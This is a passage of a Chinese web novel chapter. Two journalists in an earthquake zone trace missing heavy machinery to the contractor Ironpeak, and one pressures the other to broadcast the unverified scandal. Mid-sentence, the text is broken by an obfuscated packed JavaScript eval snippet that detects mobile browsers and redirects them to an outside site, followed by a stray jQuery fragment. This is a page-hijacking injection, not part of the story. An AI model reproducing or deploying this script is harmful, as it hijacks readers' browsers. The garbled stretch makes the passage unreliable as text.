查理站在原地,自上而下地看着这个坐在自己影子里的女人。
她又端出那副前辈的样子来教育他,以为这样就能把伤心难过掩饰住,然而演技实在差,说着夸他的话,却连嘴角都提不上来。
越看越烦躁。
他骂了一句FXXK,也就地坐下:“什么调度单,没有。”
黎叙闻皱眉:“刚因为你一句话,我挨了那么大一顿骂,现在跟我说没有?”
“是我骂的你?”查理现在完全不怕她了:“我要是你,我就不干了。”
黎叙闻嗤笑:“别开玩笑了,宁愿进GVN都不愿意放弃当记者,你骗谁?”
“……我恨你。”查理学着她的样子翻了个白眼:“我要知道当记者这么难,当初我就进法学院了。”
“那没辙,你是记者,有时候真相就是要踩着你来到世上。你接受不了,就只有回家继承农场。”她冲查理摊开手:“调度单。”
查理彻底无语,盯了她半天,吵不过也打不过,最后只好乖乖地拿出手机,把前辈发来的照片给她看。
调度单简直是安抚神器,他拿出来的那一秒,黎叙闻眼睛立刻亮了,什么难过悲伤,瞬间全部抛到了脑后。
“嚯,高清版。”她两指放大照片,一点一点看:“为什么你手机有信号?”
查理“啊?”了声,好像不明白她为何有此一问,想了想才从包里拿出一个一尺见宽的方形盒子:“卫星盒子啊,你们没有吗?”
黎叙闻:“……”
GVN烂归烂,但是真有钱啊!她什么时候吃过这么好的!
眼看着她眼冒精光,查理立刻把盒子塞回包里:“你别想!这是台里的,赔一个我会破产!”
黎叙闻将羡慕的目光收回来,重新投到照片上:“嘁,谁稀罕。”
调度单有许多张,每一张对应不同的时间地点,他们拿了纸笔,在大太阳下一张一张对信息。
当两杯咖啡轻轻放到他们面前时,核对工作正好到了尾声。
林青淮也坐在黎叙闻身边,用英文说:“翻箱倒柜找了两包,耽误了些时间,抱歉。”
黎叙闻一言不发地看他,眼睛里带着一点笑意。
之前两人吵了一架,后来她回想起来,也觉得自己在迁怒,多少有点理亏,可话说得太狠,道歉的事偏偏她又做不来。
想想也对,人都有自己的立场和三观,跟她不同那太正常了。
毕竟不能要求每个人都是齐寻。
林青淮当她意有所指,便跟她悄声说:“我自己的存货,不是救援队的东西,这也要充公吗?”
黎叙闻拿起纸杯抿了一口:“震区也是神奇,速溶咖啡都眉清目秀起来了。”
“纪队怕你不想看到救援队的人,特意让我跟你说,你跟查理可以去指挥部工作。”林青淮道:“外面晒,回去吧。”
他抿了抿唇:“我看他们也都有点后悔了。”
黎叙闻笑起来:“行啊,那就让他们多后悔一会儿。”
林青淮也跟着她笑,又恢复了那副月朗风清的模样,问:“伤心了吗?你要是想离开……”
“不用,”黎叙闻打断他:“逃避不是办法,他们到底是我队友,我会解决好的。”
林青淮看着她轻描淡写的神情,很想问一句,到底是你不想逃避,还是为了齐寻?
可细想她盛怒之下都没有进查理的帐篷,他又觉得不用问了。
“好,”他点点头:“总之,有需要的话。”
他们两个叽叽咕咕半天,查理一句也听不懂,但看两人的神情,也知道他们关系不一般。
他鼻观口口观心,在心里为Mr.Found捏了把汗。
……老婆还是不能找太漂亮的。
“走吧,”黎叙闻站起来,拍拍身上的土:“找纪队长打秋风去。”
……
调查有时候就像拼拼图,线索四下散落时混不起眼,直到最后一块拼图拼上,才知道到底发生了什么。
“所以EX-017是重型吊车,EX-032是挖掘机,EX-045是起重机?”黎叙闻在纸上写写画画:“咱们的那张单子呢?”
“塔拉维……塔拉维……”查理嘟嘟囔囔从头翻到尾,咦了声,又从尾翻到头:“没有。”
黎叙闻不信,拿过来又自己翻了一遍。
真没有。
她恍然:“会不会是从一开始就没派过来……”
查理秒懂,点点头接上下半句:“所以根本就没生成调度单。”
“总指挥部给的资源清单上,塔拉维有两辆挖掘机,三辆重型吊车,”黎叙闻也拿出她拍的照片,上面清楚明白:“限震后48小时内到达。”
结果不是因为路不通进不来,而是根本就没有出发。
“但工程队明明看见了,”查理说:“他们看见有辆吊车在这停了半小时,然后开走了。”
黎叙闻点点头:“再找,找其他单子上的‘塔拉维’这个词。”
真让他们找到四张,两张挖掘机两张吊车,备注都是“塔拉维方向”,但走到中途,无一例外都调回了首都图兰。
加上这四辆,图兰的重型机械达到了惊人的27辆,远远多于计划中的12辆。
……原来这就是之前查理的前辈说的,中心区到处都是挖掘机,有本事就来开。
“找到了,”查理把其中一张调度单举到黎叙闻面前:“这个!”
这张清单显示,其中有一辆重型吊车,中途被调回时出了岔子,直直开来了塔拉维,在门口停了半小时,接到总部的电话,又回去了。
加上之前备注“塔维拉方向”的四辆,资源清单上的五辆机械就齐了。
那个备注应该也是用来免责的,因为它们的目的地一栏,无一例外都写着“图兰”。
黎叙闻已经彻底失语了。
“这一定有原因吧,”查理表情前所未有的凝重:“他们一定是为了什么。”
黎叙闻沉吟道:“看数量,没吊车的地方肯定远不止塔拉维,只是所有偏远地带都无法通讯,用道路条件做幌子,能骗过大部分人,一时半会儿也爆不出来。他们好像……”她无意识地咬着下唇:“好像在掩饰什么。”
想着想着,她慢慢地转过头,盯着查理瞧。
查理顿时寒毛直竖。
又是这种眼神!又是这种看到肥羊的眼神!
“我记得A国有一样好东西,咱们上学的时候都用过,”黎叙闻笑得非常温柔:“你还记得吗?那是什么?”
查理呵呵笑了声,挠挠头:“不知道呢。”
黎叙闻放大笑容:“真不知道?”
他怎么可能不知道。
黎叙闻说的,是一个叫PACER的数据库,可以查询A国所有公共法庭记录,当年银石湖新闻传媒学院就订阅了PACER,免费对所有学生开放。
毕了业当然就没这种待遇,想查可以,让公司订阅,然后自己出钱下载。
“Ironpeak的庭审案件少说有几千页!每页一毛钱!”查理大叫道:“我大学贷款都还没还完!”
黎叙闻嫣然一笑,凑近了悄声道:“你见过我老公,他有钱,特别有钱,你帮我下庭审记录,我让他还你。”
查理回想了下,觉得Mr.Found倒很靠谱,应该不会赖账。
……可他怎么就娶了这么个女人!
查理苦着脸登录了PACER,眼睁睁看黎叙闻刷刷刷下载,心都在滴血。
“好了,”黎叙闻心满意足把笔电屏幕往他那边一转:“付钱吧。”
查理下了半天决心,定睛一看,9刀。
血腥玛丽这是良心发现了?
但他来不及问,立刻付了钱,生怕她反悔再往上加码似的。
早在当初军官来借粮,齐寻对她提到Ironpeak的名字的时候,就有一线细细的熟悉感,闪进过黎叙闻的脑海。
而这份熟悉感,在今天看完调度单之后,再次对她响起了警报。
念书的时候她做课外阅读,看过一个案例,讲的是某次飓风后,灾民集体起诉了一家外包公司,理由是这家公司无故拖延物资,造成了后续非常大的损失。
但那个案子因为证据不足,最后外包公司被判了无罪,期间各种反响平平,没什么新闻价值,她也就是掠过一眼,没有深究。
今天她终于想起来,当时那家公司,就是Ironpeak。
她下载的三份记录,上面详细记载了当时集体诉讼的主张:Ironpeak以道路不通为由,将物资全部迅速集中于灾区中心,利用公众和媒体注意力的集中效应,博得了国际社会的交口称赞,而通讯不畅的偏远地区,就只能望眼欲穿地等,直到灾情不再引起各方关注。
但除了这个骇人听闻的说辞,灾民提供的证据极其有限,甚至有一些关键信息,被地方政府刻意阻拦,最后的败诉也是意料之中了。
如果仅仅是这样一份记录,黎叙闻不会觉得其中有什么猫腻,道路不通很正常,车都开不进,挖掘机怎么进呢?
可相同的桥段此时此刻,又被完整地复刻了一遍,就绝不可能是巧合。
查理也没闲着,他在社交平台上搜索了所有飓风发生后当地的消息,惊奇地发现,有一些微妙的涟漪,被淹没在了当时对Ironpeak赞美的海洋里。
有个账号从飓风发生后一周起,一直坚持指控Ironpeak,说他们拖延大型机械进场的时间,以此为筹码,要挟当地政府高价购买后续服务,还开出了独占灾后重建项目的条件。
可惜这账号势单力薄,没能掀起任何水花,在飓风发生的两个月后,终于偃旗息鼓了。
“后续呢?”黎叙闻问他。
“什么后续?”
“你不知道跟踪报道是什么意思?”黎叙闻唇角平直:“你绩点多少
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263446|190916||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”
查理心说我要绩点高我还能进GVN?手上却不敢怠慢,继续搜索Ironpeak的相关新闻。
这一搜,最后一块拼图才终于掉到了他的面前。
“你看,”他声音都冷沉了:“飓风后的第三个月,Ironpeak和当地政府签署了灾后重建合作备忘。”他顺着相关链接往下滑:“这个消息一出,Ironpeak股价涨了近20%。”
世人都只关注灾难,没人知道,灾后重建也是块很大的蛋糕。
以Ironpeak的体量,股价上涨20%,就是市值膨胀了几十亿。
这就是那些未曾得到救助的人命的价格。
黎叙闻和查理盯着屏幕,沉默了很长时间。
风吹起的沙粒扫在帐外的防水布上,沙沙作响,声音落在这片沉默上头,更显得厚重。
过了很久,查理才轻声问:“现在呢,现在怎么办?”
黎叙闻仍盯着屏幕,没转头看他:“……你怎么想?”
“黎,光是这点东西,我们没办法报道,”查理望着她闪烁不定的眼神:“这你知道,对吧?”
黎叙闻闭了闭眼睛。
采访调查需要时间,她当然知道,可现在最缺的就是时间。
黄金72小时早已过去,如果废墟下面还有幸存者,那现在的每分每秒,熬的都是他们的命。
她的队友们在物资匮乏和无力救援的夹击下苦苦支撑,她的爱人承担着过往的阴影和人命的重量,不得脱身。
她一个人留守在这里,连队友间的友谊和信任都搭上了,难道现在要放弃?
但现在的条件和资源,也是真的山穷水尽了。
她拧着眉头,穷尽所有的思路、方法、案例,无数想法在一瞬间炸开,闪过又破灭,坍塌又重建,留下一层厚重的、朦胧的烟尘。
世界上没有真正的绝境,她想,如果有,那就是代价付得不够。
“代价”两个字像一颗闪光弹亮在她的脑海,朦胧烟尘骤然散去。
她眉头蓦地一松,继而缓缓转过头,看着她面前这个年轻稚嫩的记者。
查理眉头不解地扬得老高,正正对上她的眼睛。
那双眸子亮得吓人。
认识她之后,这女人整日要么凝神思索,要么脾气很差地骂他,而这一眼却极深,像洞穿了他五脏六腑似的。
查理对着她愣了半晌,某一瞬间,在她极有分量的眼神里,竟读懂了她疯狂的设想。
他倏而瞪大了眼睛!
“黎,你在跟我开玩笑,”他摇着头,露出一种他们相识以来从没有过的严肃:“我们是朋友,你不可以这么对我。”
黎叙闻眉底低低地压住眼:“我跟你承诺过,它会让你功成名就。”
“这不是功成名就!”查理涨红了脸,愤怒地嘶吼:“这是自杀!”
这一声称得上凄厉,划破大本营压抑的宁静,有路过的队员听见这声,都停下脚步,好奇地往里瞧。
黎叙闻表情沉静如水,慢慢道:“GVN的风格我们心知肚明,只求噱头不求证据,它连新闻信任度都可以不要,你还在替它穿什么遮羞布?这不就是它最大的用处?”
“你是在指使我赌上自己的职业生涯,把这些零星的线索和我们的猜测报给我的编辑!”查理声音泛哑:“你有没有想过我会面对什么?会有什么后果?做这种事,别说GVN了,可能以后没有电视台会要我,我再也做不了记者了!”
“我没有在指使你,查理,我是在给你选择。”黎叙闻微微侧着脸,听完他歇斯底里的指责,唇角上勾,竟缓缓笑了:“一边是在臭名昭著的平台低三下四,外采都受尽当事人白眼;一边是爆出所有人喜闻乐见的大公司丑闻,一夜成名,只需要你承担一点小小的……”
她拇指和食指比了一个极短的距离:“小小的风险。”
黎叙闻自己都不知道,此时此刻她的眼底,正流窜着恣行无忌的疯狂。
查理惶恐地望着她,身体不由后缩,她一把抓住查理的肩膀,盯住他的眼睛:“你不用说这些是我告诉你的,你跟GVN讲,这是你自己发现的。‘Ironpeak为谋利,遗弃数万灾民性命’,还哪有比这更吸引人的噱头?——那些埋在地底下的人在看着你呢,你感觉到了吗?”
她明艳四射的一张脸,在日头照不到的阴影里,竟显得鬼气森森:“他们在叫你的名字,你听见了吗?”
查理眦目欲裂,大叫一声,一巴掌打掉她的手,抢过自己的笔电,拔腿跑出了指挥部的帐篷,留给黎叙闻一个跌跌撞撞、慌不择路的背影。
端着水杯进来的纪士诚险些被他迎面撞上,皱着眉头盯着他逃窜,转头问黎叙闻:“他咋了?见到鬼了?”
黎叙闻脱力地坐在折叠凳里,风穿过帐口,拨乱她的长发。
她抬手理了理碎发,平静道:“是啊,大概见到了很多死不瞑目的冤魂吧。”